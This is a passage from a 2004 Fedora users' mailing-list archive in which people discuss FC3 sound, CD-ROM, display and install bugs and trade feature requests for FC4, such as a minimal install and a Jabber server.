to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From mattdm at mattdm.org Fri Nov 12 14:27:11 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Fri, 12 Nov 2004 09:27:11 -0500 Subject: Features for FC4 In-Reply-To: <4194BBFA.2070505@silkroad.ge> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> Message-ID: <20041112142711.GA1550@jadzia.bu.edu> On Fri, Nov 12, 2004 at 04:34:50PM +0300, Vano Beridze wrote: > Could anyone answer? > Is it so hard to identify the needed packages to only boot the system? Well, it's not terribly easy. There was discussion about it either on this list or on fedora-devel-list a while ago. In summary, there's general interest, but there's other things people are more focused on. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From lux at diesel-research.com Fri Nov 12 14:48:12 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 12 Nov 2004 07:48:12 -0700 Subject: What is the status of ide-scsi these days ? (Can't shutdown) In-Reply-To: <1100236148.12760.25.camel@ml350.bankofamerica.com> References: <1100194957.4069.18.camel@localhost.localdomain> <20041111174948.GA31302@devserv.devel.redhat.com> <1100195690.3705.2.camel@localhost.localdomain> <1100236148.12760.25.camel@ml350.bankofamerica.com> Message-ID: <1100270892.7362.5.camel@localhost.localdomain> My CDROM isn't broken. It worked perfect under FCs and it still works perfect under Windows. There is a bug in FC3 final. There is nothing wrong with my cdrom drive. On Thu, 2004-11-11 at 23:09 -0600, Thomas Cameron wrote: > On Thu, 2004-11-11 at 10:54 -0700, Kim Lux wrote: > > Thanks for your reply, Alan, and your tireless effort with Linux. > > > > What did you mean by: > > > > > And that below is a bug > > > > > > > Nov 11 10:28:49 localhost > > > kernel: Unable to handle kernel NULL pointer > > > > dereference at virtual address 00000008 > > > > > > which shouldnt have occurred but was triggered by what appears to be broken > > > hardware > > > > How should I proceed ? > > Um, when you have broken hardware, how do you normally proceed? *I* > usually go get unbroken hardware. > > > Do you want me to log this in bugzilla ? Under > > what ? kernel ? grip ? cdrom ? scsi-ide ? > > You think filing a bug because your CDROM drive is broken will help? > > -- > A: Because people read from top to bottom. > Q: Why is top-posting bad? > > Thomas Cameron, RHCE, CNE, MCSE, MCT -- Kim Lux (Mr.) Diesel Research Inc From j.c.burton at gats-inc.com Fri Nov 12 14:54:01 2004 From: j.c.burton at gats-inc.com (John Burton) Date: Fri, 12 Nov 2004 09:54:01 -0500 Subject: FC3 Final: no sound In-Reply-To: <1100193125.4055.29.camel@localhost.localdomain> References: <419296B5.5000009@linux.net.mk> <1100127247.7040.0.camel@x1-6-00-0a-e6-c7-6f-d8> <9f50a7a00411110849fec3736@mail.gmail.com> <9f50a7a004111108503cd3798f@mail.gmail.com> <41939B9B.9050809@linux.net.mk> <1100193125.4055.29.camel@localhost.localdomain> Message-ID: <4194CE89.2030604@gats-inc.com> Kim Lux wrote: >We had this argument last week. UPGRADES ARE SUPPOSED TO WORK ! >UPGRADES ARE NOT AN EXCUSE FOR SOMETHING NOT WORKING ! > >Arangel: I wouldn't re install Linux. Someone gave me the upgrade >excuse when I had a sound problem. I re installed and it didn't make >any difference. > >I had a sound problem with a laptop with an intel-8x0m device. > >I added snd-intel8x0m to /etc/hotplug/blacklist and rebooted. > >I went to the KDE->ControlCenter->Sound & Multimedia-> Sound System- > > >>Enable. >> >> > >Then I went to KDE->System Settings->Soundcard Detection. It detected >my soundcard and it has worked ever since. > > > Ummm... interesting... "snd-intel8x0m" is the modem driver. "snd-intel8x0" is the sound driver that I added to the /etc/hotplug/blacklist. Sound works fine now... HP/Compaq nx7000 laptop (Intel centrino chipset) John From alan at redhat.com Fri Nov 12 15:00:32 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 12 Nov 2004 10:00:32 -0500 Subject: Features for FC4 In-Reply-To: <1100258399.27583.11.camel@steelgoose.com> References: <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> <1100253721.3313.98.camel@douglas-furlong.firebox.com> <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> <1100258399.27583.11.camel@steelgoose.com> Message-ID: <20041112150032.GA30326@devserv.devel.redhat.com> On Fri, Nov 12, 2004 at 08:19:59AM -0300, Alexandre Strube wrote: > Try doing this for 50 computers, each with own user table (no nis, no > nfs for /home). Each of those computers with an average of 4 users. > > That's what I was talking about. You can talk directly to the gconf databases with the gconftool-2 app and some scripts From jspaleta at gmail.com Fri Nov 12 15:21:58 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Fri, 12 Nov 2004 10:21:58 -0500 Subject: Features for FC4 In-Reply-To: <4194BBFA.2070505@silkroad.ge> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> Message-ID: <604aa791041112072139763e6@mail.gmail.com> On Fri, 12 Nov 2004 16:34:50 +0300, Vano Beridze wrote: > I know this was discussed many times but I still want to know if > it's possible to have a minimal install of fedora. Sure its possible... feel free to take a look at the comps.xml file that defines package groups. This has repeatedly come up, but noone in the community who expresses interest has actually done the work to submit an atlernative comps.xml for testing that creates a better "minimum". In the past, the issue as died in a long long thread of what different people expect in a minimal install and end up bitching back and forth over specific packages. I have NEVER seen a community member interested in the minimal install idea actually offer an editted comps.xml file for testing. And thats exactly what this is going to take. Someone interested to sit down and go through the comps.xml file groupings and re-arrange things and offer the new comps.xml file for testing, that creates a better minimum but leaves the desktop/workstation/server install types unaffected. Until there is an alterative comps.xml that other people in the community can rebuild isos with and do test installs with, there is no more to discuss. -jef From vano.beridze at silkroad.ge Fri Nov 12 15:32:56 2004 From: vano.beridze at silkroad.ge (Vano Beridze) Date: Fri, 12 Nov 2004 18:32:56 +0300 Subject: Features for FC4 In-Reply-To: <604aa791041112072139763e6@mail.gmail.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> Message-ID: <4194D7A8.9080509@silkroad.ge> Jeff Spaleta wrote: >On Fri, 12 Nov 2004 16:34:50 +0300, Vano Beridze > wrote: > > >>I know this was discussed many times but I still want to know if >>it's possible to have a minimal install of fedora. >> >> > >Sure its possible... feel free to take a look at the comps.xml file >that defines package groups. This has repeatedly come up, but noone in >the community who expresses interest has actually done the work to >submit an atlernative comps.xml for testing that creates a better >"minimum". In the past, the issue as died in a long long thread of >what different people expect in a minimal install and end up bitching >back and forth over specific packages. I have NEVER seen a community >member interested in the minimal install idea actually offer an >editted comps.xml file for testing. And thats exactly what this is >going to take. Someone interested to sit down and go through the >comps.xml file groupings and re-arrange things and offer the new >comps.xml file for testing, that creates a better minimum but leaves >the desktop/workstation/server install types unaffected. Until there >is an alterative comps.xml that other people in the community can >rebuild isos with and do test installs with, there is no more to >discuss. > > > Thank you jef. Now I know where to start. Should I take comps.xml from upcoming core 4 test 1 or get it from somewhere else? -- Vano Beridze Software Developer Silk Road Group S.A. From douglas.furlong at firebox.com Fri Nov 12 15:35:01 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Fri, 12 Nov 2004 15:35:01 +0000 Subject: Features for FC4 In-Reply-To: <4194D7A8.9080509@silkroad.ge> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> <4194D7A8.9080509@silkroad.ge> Message-ID: <1100273701.3313.113.camel@douglas-furlong.firebox.com> On Fri, 2004-11-12 at 18:32 +0300, Vano Beridze wrote: > Jeff Spaleta wrote: > > >On Fri, 12 Nov 2004 16:34:50 +0300, Vano Beridze > > wrote: > > > > > >>I know this was discussed many times but I still want to know if > >>it's possible to have a minimal install of fedora. > >> > >> > > > >Sure its possible... feel free to take a look at the comps.xml file > >that defines package groups. This has repeatedly come up, but noone in > >the community who expresses interest has actually done the work to > >submit an atlernative comps.xml for testing that creates a better > >"minimum". In the past, the issue as died in a long long thread of > >what different people expect in a minimal install and end up bitching > >back and forth over specific packages. I have NEVER seen a community > >member interested in the minimal install idea actually offer an > >editted comps.xml file for testing. And thats exactly what this is > >going to take. Someone interested to sit down and go through the > >comps.xml file groupings and re-arrange things and offer the new > >comps.xml file for testing, that creates a better minimum but leaves > >the desktop/workstation/server install types unaffected. Until there > >is an alterative comps.xml that other people in the community can > >rebuild isos with and do test installs with, there is no more to > >discuss. > > > > > > > > Thank you jef. > Now I know where to start. > > Should I take comps.xml from upcoming core 4 test 1 or get it from > somewhere else? Jef was being incredibly unfair, there is actually some one on this list, one of the Rodolfo's (sorry for the spelling?), who has been quite vocal trying to get a minimal install up and running (remember the argument about synaptec and up2date any one? :)) Check the archives, there IS some one working on this, working hard I believe, trying to work out what can be removed. Please check the archives, and talk with him, I am sure he will be incredibly happy to work on it with you. -- Douglas Furlong Systems Administrator Firebox.com T: 0870 420 4475 F: 0870 220 2178 -------------- next part -------------- A non-text attachment was scrubbed... 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Williams wrote: >On Thu, 2004-11-11 at 14:04 +0100, Roger Grosswiler wrote: > > > >>you're right, Arjan. >> >>But what i really would like to see is a jabber-server within this distro, it would make life much easier :-) >>preferably of course jabber 2 & the most-used transports (aim, icq, irc, msn, yahoo...)... >> >> > >Same here! I'm about to load a Jabber server on a new FC3 system we >built yesterday. I have no idea where to start. Any tips/pointers to >FAQs and how-to's would be greatly appreciated. This will be an >internal, private messaging system, so we could get away with the basic >transports. > > > Just want to add my voice to the "Jabber would be nice" issue. -- Carl Parrish(cparrish at carlparrish.com) http://www.carlparrish.com -- Registered Linux User #295761 http://counter.li.org From crabtrej at otc.edu Fri Nov 12 16:17:26 2004 From: crabtrej at otc.edu (Justin Crabtree) Date: Fri, 12 Nov 2004 10:17:26 -0600 Subject: Jabber Server on FC3 (Was: Re: Features for FC4) In-Reply-To: <4194E005.5010405@carlparrish.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100182920.17067.31.camel@spike-home.comcast.net> <4194E005.5010405@carlparrish.com> Message-ID: <4194E216.4080307@otc.edu> Carl Parrish wrote: > Christopher A. Williams wrote: > >> On Thu, 2004-11-11 at 14:04 +0100, Roger Grosswiler wrote: >> >> >> >>> you're right, Arjan. >>> >>> But what i really would like to see is a jabber-server within this >>> distro, it would make life much easier :-) >>> preferably of course jabber 2 & the most-used transports (aim, icq, >>> irc, msn, yahoo...)... >>> >> >> >> Same here! I'm about to load a Jabber server on a new FC3 system we >> built yesterday. I have no idea where to start. Any tips/pointers to >> FAQs and how-to's would be greatly appreciated. This will be an >> internal, private messaging system, so we could get away with the basic >> transports. >> >> >> > Just want to add my voice to the "Jabber would be nice" issue. > Me too. Does this do any good? Any chance of this happening? Justin Crabtree Java Programmer Ozarks Technical Community College 799-1573 From shrek-m at gmx.de Fri Nov 12 16:40:31 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Fri, 12 Nov 2004 17:40:31 +0100 Subject: Jabber Server on FC3 (Was: Re: Features for FC4) In-Reply-To: <4194E216.4080307@otc.edu> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100182920.17067.31.camel@spike-home.comcast.net> <4194E005.5010405@carlparrish.com> <4194E216.4080307@otc.edu> Message-ID: <4194E77F.3030208@gmx.de> >> Just want to add my voice to the "Jabber would be nice" issue. > > Me too. > Does this do any good? Any chance of this happening? https://bugzilla.redhat.com [RFE] -- shrek-m From alexl at stofanet.dk Fri Nov 12 16:43:44 2004 From: alexl at stofanet.dk (Alex Thomsen Leth) Date: Fri, 12 Nov 2004 17:43:44 +0100 Subject: firefox high cpu use Message-ID: <1100277824.6709.2.camel@scar.lion> i have installed fedora core 3. everything looks great. But firefox uses alot of cpu if i press the arrow buttons to go forward/backward in pages. many times my centrino laptop changes its speed to 1500 MHZ and fall down quickly to 600 MHZ again. Whats wrong with firefox?? From fedora at nodata.co.uk Fri Nov 12 16:45:55 2004 From: fedora at nodata.co.uk (nodata) Date: Fri, 12 Nov 2004 17:45:55 +0100 (CET) Subject: Jabber Server on FC3 (Was: Re: Features for FC4) In-Reply-To: <4194E216.4080307@otc.edu> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100182920.17067.31.camel@spike-home.comcast.net> <4194E005.5010405@carlparrish.com> <4194E216.4080307@otc.edu> Message-ID: <61120.213.164.3.90.1100277955.squirrel@213.164.3.90> >>>> But what i really would like to see is a jabber-server within this >>>> distro, it would make life much easier :-) >>> >>> Same here! I'm about to load a Jabber server on a new FC3 system we >>> >> Just want to add my voice to the "Jabber would be nice" issue. >> > Me too. > > Does this do any good? Any chance of this happening? > I'd like this too. I think the official route, at least for the moment, is to get jabber server into fedora.us. Once it's in there, it gets considered for mainstream Fedora. I think Fedora Extras will be the future route. To suggest to fedora.us, use their own bugzilla, not Red Hat's. A quick search shows they seem to be working on it: http://tinyurl.com/4js52 From alexl at stofanet.dk Fri Nov 12 17:04:33 2004 From: alexl at stofanet.dk (Alex Thomsen Leth) Date: Fri, 12 Nov 2004 18:04:33 +0100 Subject: include mail-notification apples Message-ID: <1100279073.9770.1.camel@scar.lion> is it possible to include this http://www.nongnu.org/mailnotify/ fantastic mail applet into fedora From fedora at leemhuis.info Fri Nov 12 17:20:41 2004 From: fedora at leemhuis.info (Thorsten Leemhuis) Date: Fri, 12 Nov 2004 18:20:41 +0100 Subject: include mail-notification apples In-Reply-To: <1100279073.9770.1.camel@scar.lion> References: <1100279073.9770.1.camel@scar.lion> Message-ID: <1100280042.6298.0.camel@localhost.localdomain> Am Freitag, den 12.11.2004, 18:04 +0100 schrieb Alex Thomsen Leth: > is it possible to include this http://www.nongnu.org/mailnotify/ > fantastic mail applet into fedora In progress for extras: http://bugzilla.fedora.us/show_bug.cgi?id=2030 HTH CU thl -- Thorsten Leemhuis From Bernd.Bartmann at sohanet.de Fri Nov 12 17:24:06 2004 From: Bernd.Bartmann at sohanet.de (Bernd Bartmann) Date: Fri, 12 Nov 2004 18:24:06 +0100 Subject: Yet another weird sound issue in FC3 final Message-ID: <4194F1B6.4000804@sohanet.de> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, I have a very weird issue with sound in FC3 final. Several of the sound volume sliders are not available for me. This happens on a freshly installed FC3 system. The function of the soundcard (snd_via82xx) has been verified in firstboot. I installed the xmms-mp3 plugin from freshmeat and can hear mp3 soundtracks but the volume seems to be set to 100%. So I tried to change the volume level using alsamixer and gnome-mixer. The master-volume slider has no effect at all and strange enough I see a PCM field but no slider is associated to it. There are also several other sliders missing (Line-In, Mic, ...). So sound itself seems to work but I can't change the volume settings. Any ideas? I've also opened bug #138922 for this issue. Thanks in advance! - -- Dipl.-Ing. (FH) Bernd Bartmann I.S. Security and Network Engineer SoHaNet Technology GmbH / Kaiserin-Augusta-Allee 10-11 / 10553 Berlin Fon: +49 30 214783-44 / Fax: +49 30 214783-46 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFBlPG1kQuIaHu84cIRAi3oAKCPR1lVSdeef5fWIh2bH3DLYo1B4wCfV8kZ TmalbB+XFPJBHCtvbchmgy8= =E+Go -----END PGP SIGNATURE----- From balay at fastmail.fm Fri Nov 12 17:25:31 2004 From: balay at fastmail.fm (Satish Balay) Date: Fri, 12 Nov 2004 11:25:31 -0600 (CST) Subject: Features for FC4 In-Reply-To: <1100273701.3313.113.camel@douglas-furlong.firebox.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> <4194D7A8.9080509@silkroad.ge> <1100273701.3313.113.camel@douglas-furlong.firebox.com> Message-ID: On Fri, 12 Nov 2004, Douglas Furlong wrote: > > >>I know this was discussed many times but I still want to know if > > >>it's possible to have a minimal install of fedora. > > Should I take comps.xml from upcoming core 4 test 1 or get it from > > somewhere else? > > Jef was being incredibly unfair, there is actually some one on this > list, one of the Rodolfo's (sorry for the spelling?), who has been quite > vocal trying to get a minimal install up and running (remember the > argument about synaptec and up2date any one? :)) http://www.simpaticus.com/linux/small-netserver-fc3-howto.php Satish From vadim at overture.com Fri Nov 12 17:50:57 2004 From: vadim at overture.com (Vadim) Date: Fri, 12 Nov 2004 09:50:57 -0800 Subject: Features for FC4 In-Reply-To: <1100267730.3205.49.camel@ricardo.veguilla.net> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> <1100253721.3313.98.camel@douglas-furlong.firebox.com> <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> <1100258399.27583.11.camel@steelgoose.com> <1100263659.3205.29.camel@ricardo.veguilla.net> <1100264085.5768.2.camel@localhost.localdomain> <1100267730.3205.49.camel@ricardo.veguilla.net> Message-ID: <1100281857.4806.6.camel@localhost.localdomain> I would like to see the following: 1 - Better driver support for nvidia 2 - Support for Broadcom BCM4306 wifi 3 - Better power management support. 4 - Mac-OS-X like feedback on application starting (Gnome feature) 5 - Better sound card resource allocation and management. -V On Fri, 2004-11-12 at 09:55 -0400, Ricardo Veguilla wrote: > On Fri, 2004-11-12 at 12:54 +0000, ian clancy wrote: > > Gnome does not lack menu editing. However it has always been strangely > > disabled in Redhat/Fedora. > > Regards, > > Ian Clancy > > > > Yes, Gnome has menu editing, but its one of those things that are in > Gnome because everyone wants to have it, not necessarily because its > easy to use or "Just Work" ... or at least thats the impression I got > from previous discussions about this in the gnome mailing lists. > > Anyway, I should have specified that I was talking about Gnome lacking > menu editing in Fedora. > > Regards, > -- > Ricardo Veguilla > -------------- next part -------------- An HTML attachment was scrubbed... URL: From kyrre at solution-forge.net Fri Nov 12 18:15:19 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 12 Nov 2004 19:15:19 +0100 Subject: FC3 - Has the community given up on up2date? In-Reply-To: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> Message-ID: <1100283318.4132.13.camel@kyrre> tor, 11.11.2004 kl. 21.22 skrev Will Backman: > Has the community given up on up2date? > yup. From lnxxprt at arcor.de Fri Nov 12 18:22:11 2004 From: lnxxprt at arcor.de (D. Stolte) Date: Fri, 12 Nov 2004 19:22:11 +0100 Subject: FC3 - Has the community given up on up2date? In-Reply-To: <1100283318.4132.13.camel@kyrre> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> <1100283318.4132.13.camel@kyrre> Message-ID: <4194FF53.60803@arcor.de> yep, too Kyrre Ness Sjobak wrote: > tor, 11.11.2004 kl. 21.22 skrev Will Backman: > >>Has the community given up on up2date? >> > > > yup. > From whb at ceimaine.org Fri Nov 12 18:45:03 2004 From: whb at ceimaine.org (Will Backman) Date: Fri, 12 Nov 2004 13:45:03 -0500 Subject: Features for FC4 In-Reply-To: References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> <4194D7A8.9080509@silkroad.ge> <1100273701.3313.113.camel@douglas-furlong.firebox.com> Message-ID: <1100285103.4092.15.camel@cei3772.empower.ceimaine.org> On Fri, 2004-11-12 at 11:25 -0600, Satish Balay wrote: > > On Fri, 12 Nov 2004, Douglas Furlong wrote: > > > > >>I know this was discussed many times but I still want to know if > > > >>it's possible to have a minimal install of fedora. > I'd like to see a good SIP phone. From mark at talios.com Fri Nov 12 18:47:14 2004 From: mark at talios.com (Mark Derricutt) Date: Sat, 13 Nov 2004 07:47:14 +1300 Subject: yum broken with latest python updates In-Reply-To: <4194C6AD.7020607@talios.com> References: <4194C6AD.7020607@talios.com> Message-ID: <41950532.5050207@talios.com> Mark Derricutt wrote: > Just noticed that yum is now broken after the rawhide python updates: n/m - just found the main thread on this and the bugzilla ticket... From trulsg at broadpark.no Fri Nov 12 19:00:18 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Fri, 12 Nov 2004 20:00:18 +0100 Subject: FC3 - wrong screen resolution - A bug? In-Reply-To: <41926858.80506@broadpark.no> References: <41912D99.7040809@broadpark.no> <4191763E.3010604@insight.rr.com> <41924789.8050401@broadpark.no> <41926858.80506@broadpark.no> Message-ID: <41950842.2090408@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Truls Gulbrandsen wrote: | Truls Gulbrandsen wrote: | | Jim Cornette wrote: | | | Truls Gulbrandsen wrote: | | | | | |> -----BEGIN PGP SIGNED MESSAGE----- | | |> Hash: SHA1 | | |> | | |> Hi, | | |> I have now installed fc3 to my desktop an IBM PC300PL with an IBM912 | | |> T521 LCD screen the video card is VESA | | |> | | |> ...snip | | | | | | | | | I looked up the specs for your desktop. The video info is below. The | | | vesa driver is sort of a generic driver. Is the S3 Trio listed? | | | | | | Have you tried to add the desired resolution into your xorg.conf file? | | | Say "1024x768" "800x600" in front of the "640x480" entry? | | | | | | Jim | | | | | | Monitor and Graphics | | | Video Integration Integrated | | | Installed Video Memory 4 MB | | | Included Video Card Graphic card - AGP - S3 Trio3D integrated | | | | | | | | |> | | |> Regards, | | |> Truls | | | | | | | | Thanks for feedback. | | | | Yes the correct video card is Trio 64 3D and it is listed. So I went | | system settings ==> display and set the correct video card. | | | | Then I got an error message saying that the system would log out of X | | and correct an error. It never came back. So I rebooted but now the | | boot sequence goes to: | | | | Starting udev: (ok) | | Initializing hardware..... storage network audio done (ok) | | Configuring kernel parameters: | | | | and there it hangs unresponsive. | | | | Probably I have to start the install process over again? | | | | Regards, | | Truls | | I found that when hittin ctrl-C after the system hangs it actually | continues to boot and gives me a command line. | | The problem is that system settings - display did not update my | xorg.conf file correctly. The driver name for the video card was not | replaced with the corect one but ended up as mix of "Vesa" and "S3Trio3D" | | I tried to correct this using vi but am not able to open the file in | edit modus. I'm told it is a read only file. | | Any suggestions? | | Truls Ok, I have followed all advices given under this thread without success. So, I did a fresh install of FC3 from the cds and the following happens. Upon installation fc doesn't recognize my video card and set it up as VESA generic. That works in the way that my screen background seem to have the correct resolution but applications and icons etc. seems work at 640x480. Then, when I change to video card S3 Trio64 3D and reboot I'm back to the original problem. The systems load all the way to: Starting udev: (ok) Initializing hardware..... storage network audio done (ok) Configuring kernel parameters: ~ INIT: Entering runlevel: 5 Starting readahead early: (ok) Checking for new hardware: (ok) touch: cannot touch '/var/touch/subsys/kudzu': Read-only file system Applying iptables: firewal rules (ok) touch: cannot touch '/var/touch/subsys/iptables': Read-only file system Starting pcmcia: (ok) etc etc Am I doing something wrong or the system? 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How to do this (for example, use startoffice for > attached .doc files) > > Regards > > -- > > Joachim Backes > University of Kaiserslautern,Computer Center, > High Performance Computing, > D-67653 Kaiserslautern, PO Box 3049, Germany > -------------------------------------------------- > Phone: +49-631-205-2438, FAX: +49-631-205-3056 > http://hlrwm.rhrk.uni-kl.de/home/staff/backes.html From steve_dum at mentorg.com Fri Nov 12 19:20:22 2004 From: steve_dum at mentorg.com (steve_dum at mentorg.com) Date: Fri, 12 Nov 2004 11:20:22 -0800 Subject: Problem with DVD iso for Core 3 In-Reply-To: Your message of "Fri, 12 Nov 2004 10:02:37 +0100." <41947C2D.1080903@t-online.de> Message-ID: <200411121920.iACJKMPU003808@drdoom.wv.mentorg.com> In message <41947C2D.1080903 at t-online.de>you write: >Drosos Kourounis schrieb: > >> Hi all! >> I just downloaded twice from different mirrors the FEDORA Core 3 >> DVD iso image and I noticed that there is a problem with that thing! >> >> I begin installation I press Ok to the questions about "us" and the=20 >> other one, but when I am asked which type of installation do I prefer >> CDROM, FTP, HTTP, NFS ... I choose of course CDROM. >> >> Then it says that the FEDORA software CDROM is not inserted in the=20 >> CDROM drive! I tried that in many different PCs and I get the same >> problem so it is not a problem with my PC. >> >> Did any one of you have the same problem! >> >> please let the people who are responsible for the distribution >> to fix that! >> >> Regards! >> Drosos. same here. Sometimes I get can't recognize CDROM drive, sometimes it's ok. I was able to have the booted image do a checksum check of the dvd and it passed ok. It was ever so helpful - on a few occasions to start the update, remove old kernel's, install the new one, then Die in the middle on some random rpm with a cdrom read error. If you tried to continue the process, after one or two tries it would read that package and then fail on another. Eventually it would lock up the whole system. I was previously running FC1 and FC1 had no issues reading or writing dvd's, so I don't think the hardware suddenly broke. steve From doug at dmaurer.net Fri Nov 12 18:42:19 2004 From: doug at dmaurer.net (Doug Maurer) Date: Fri, 12 Nov 2004 13:42:19 -0500 Subject: Problem with DVD iso for Core 3 In-Reply-To: <200411121920.iACJKMPU003808@drdoom.wv.mentorg.com> References: <200411121920.iACJKMPU003808@drdoom.wv.mentorg.com> Message-ID: <1100284939.3328.14.camel@dougs-laptop> > same here. > Sometimes I get can't recognize CDROM drive, sometimes it's ok. > I was able to have the booted image do a checksum check of the dvd and it > passed ok. > It was ever so helpful - on a few occasions to start the update, > remove old kernel's, install the new one, then Die in the middle on > some random rpm with a cdrom read error. If you tried > to continue the process, after one or two tries it would read that package > and then fail on another. Eventually it would lock up the whole system. > I was previously running FC1 and FC1 had no issues reading or writing dvd's, > so I don't think the hardware suddenly broke. > > steve > > After installing fc3 Wednesday I wanted a second copy of FC3 cd's, so I put a blank cd in my dvd/cdrom burner and launched k3b. Only one problem, k3b didn't see a cdrom. I check the /media directory and no cdrecorder. I was like ok let me reboot with option ide=nodma. This time I had cdrecorder, but one of the errors I got from k3b was to check permissions on /dev/hd#, my cdrom was on hdd, and it had rwxr_xr_x on /dev/hdd I chmod 777 on hdd and k3b was happy again. strange little gremlins running around -- Doug Maurer doug at dmaurer.net Linux user #299439 From mrguytx at austin.rr.com Fri Nov 12 19:45:35 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Fri, 12 Nov 2004 13:45:35 -0600 Subject: Problem with DVD iso for Core 3 In-Reply-To: <1100284939.3328.14.camel@dougs-laptop> References: <200411121920.iACJKMPU003808@drdoom.wv.mentorg.com> <1100284939.3328.14.camel@dougs-laptop> Message-ID: <1100288736.1061.0.camel@guyleidadell> On Fri, 2004-11-12 at 13:42 -0500, Doug Maurer wrote: > > same here. > > Sometimes I get can't recognize CDROM drive, sometimes it's ok. > > I was able to have the booted image do a checksum check of the dvd and it > > passed ok. > > It was ever so helpful - on a few occasions to start the update, > > remove old kernel's, install the new one, then Die in the middle on > > some random rpm with a cdrom read error. If you tried > > to continue the process, after one or two tries it would read that package > > and then fail on another. Eventually it would lock up the whole system. > > I was previously running FC1 and FC1 had no issues reading or writing dvd's, > > so I don't think the hardware suddenly broke. > > > > steve > > > > > After installing fc3 Wednesday I wanted a second copy of FC3 cd's, so I > put a blank cd in my dvd/cdrom burner and launched k3b. Only one > problem, k3b didn't see a cdrom. I check the /media directory and no > cdrecorder. I was like ok let me reboot with option ide=nodma. This time > I had cdrecorder, but one of the errors I got from k3b was to check > permissions on /dev/hd#, my cdrom was on hdd, and it had rwxr_xr_x > on /dev/hdd I chmod 777 on hdd and k3b was happy again. > > strange little gremlins running around > -- > Doug Maurer > doug at dmaurer.net > Linux user #299439 > I believe that is the UDEV error. Go to the FC3 release notes on the web site and it has a link to the latest UDEV. hope that helps. -- =Guy 13:44:58 up 17:09, 2 users, load average: 0.80, 0.63, 0.66 From ron.flory at adtran.com Fri Nov 12 20:23:14 2004 From: ron.flory at adtran.com (RON FLORY) Date: Fri, 12 Nov 2004 14:23:14 -0600 Subject: Problem with DVD iso for Core 3 In-Reply-To: <1100288736.1061.0.camel@guyleidadell> References: <200411121920.iACJKMPU003808@drdoom.wv.mentorg.com> <1100284939.3328.14.camel@dougs-laptop> <1100288736.1061.0.camel@guyleidadell> Message-ID: <41951BB2.3020805@adtran.com> W. Guy Thomas wrote: > I believe that is the UDEV error. Go to the FC3 release notes on the web > site and it has a link to the latest UDEV. > > hope that helps. ummm, the Fedora Release notes still reference FC2... http://fedora.redhat.com/docs/release-notes/ ron From mrguytx at austin.rr.com Fri Nov 12 20:29:25 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Fri, 12 Nov 2004 14:29:25 -0600 Subject: Problem with DVD iso for Core 3 In-Reply-To: <41951BB2.3020805@adtran.com> References: <200411121920.iACJKMPU003808@drdoom.wv.mentorg.com> <1100284939.3328.14.camel@dougs-laptop> <1100288736.1061.0.camel@guyleidadell> <41951BB2.3020805@adtran.com> Message-ID: <1100291365.1061.4.camel@guyleidadell> On Fri, 2004-11-12 at 14:23 -0600, RON FLORY wrote: > W. Guy Thomas wrote: > > I believe that is the UDEV error. Go to the FC3 release notes on the web > > site and it has a link to the latest UDEV. > > > > hope that helps. > > ummm, the Fedora Release notes still reference FC2... > > http://fedora.redhat.com/docs/release-notes/ > > ron > try this instead: http://fedora.redhat.com/docs/udev/ -- =Guy 14:29:12 up 17:53, 2 users, load average: 0.69, 0.65, 0.73 From P.R.Schaffner at larc.nasa.gov Fri Nov 12 20:31:36 2004 From: P.R.Schaffner at larc.nasa.gov (Philip R. Schaffner) Date: Fri, 12 Nov 2004 15:31:36 -0500 Subject: Features for FC4 In-Reply-To: 